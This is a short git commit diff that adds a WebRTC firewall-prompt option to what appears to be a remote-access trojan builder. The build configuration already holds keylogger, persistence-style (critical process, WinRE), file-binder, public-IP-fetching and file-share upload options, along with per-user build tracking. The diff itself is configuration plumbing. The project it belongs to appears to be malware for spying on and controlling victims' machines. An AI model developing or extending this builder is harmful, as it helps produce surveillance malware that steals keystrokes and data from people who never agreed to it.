add optional full require + fix some tests

This commit is contained in:
KingKDot
2026-07-19 17:16:35 -05:00
parent 037559068a
commit 3f5ac7a4f5
9 changed files with 105 additions and 7 deletions
+1
View File
@@ -60,6 +60,7 @@ export type BuildConfig = {
criticalProcess?: boolean;
disableKeylogger?: boolean;
enableWebrtc?: boolean;
promptWebrtcFirewallOnStart?: boolean;
enableWinRE?: boolean;
fetchPublicIP?: boolean;
uploadToFileShare?: boolean;
@@ -97,6 +97,7 @@ type BuildProcessConfig = {
noPrinting?: boolean;
disableKeylogger?: boolean;
enableWebrtc?: boolean;
promptWebrtcFirewallOnStart?: boolean;
enableWinRE?: boolean;
builtByUserId?: number;
initialClientTag?: string;
@@ -1376,6 +1377,7 @@ func runBoundFiles() {
if (config.noPrinting) baseTags.push("noprint");
if (config.disableKeylogger) baseTags.push("nokeylogger");
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
if (config.enableWebrtc && config.promptWebrtcFirewallOnStart) baseTags.push("webrtc_firewall_startup_prompt");
if (config.enableWinRE && os === "windows") baseTags.push("overlord_winre");
if (hasBoundFiles) baseTags.push("hasbinder");
if (isIosTarget) baseTags.push("ios_target");
@@ -217,6 +217,7 @@ export async function handleBuildRoutes(
criticalProcess,
disableKeylogger,
enableWebrtc,
promptWebrtcFirewallOnStart,
enableWinRE,
outputExtension,
sleepSeconds,
@@ -550,6 +551,7 @@ export async function handleBuildRoutes(
criticalProcess: safeCriticalProcess,
disableKeylogger: !!disableKeylogger,
enableWebrtc: !!enableWebrtc,
promptWebrtcFirewallOnStart: !!enableWebrtc && !!promptWebrtcFirewallOnStart,
enableWinRE: !!enableWinRE,
outputExtension: safeOutputExtension,
sleepSeconds: safeSleepSeconds,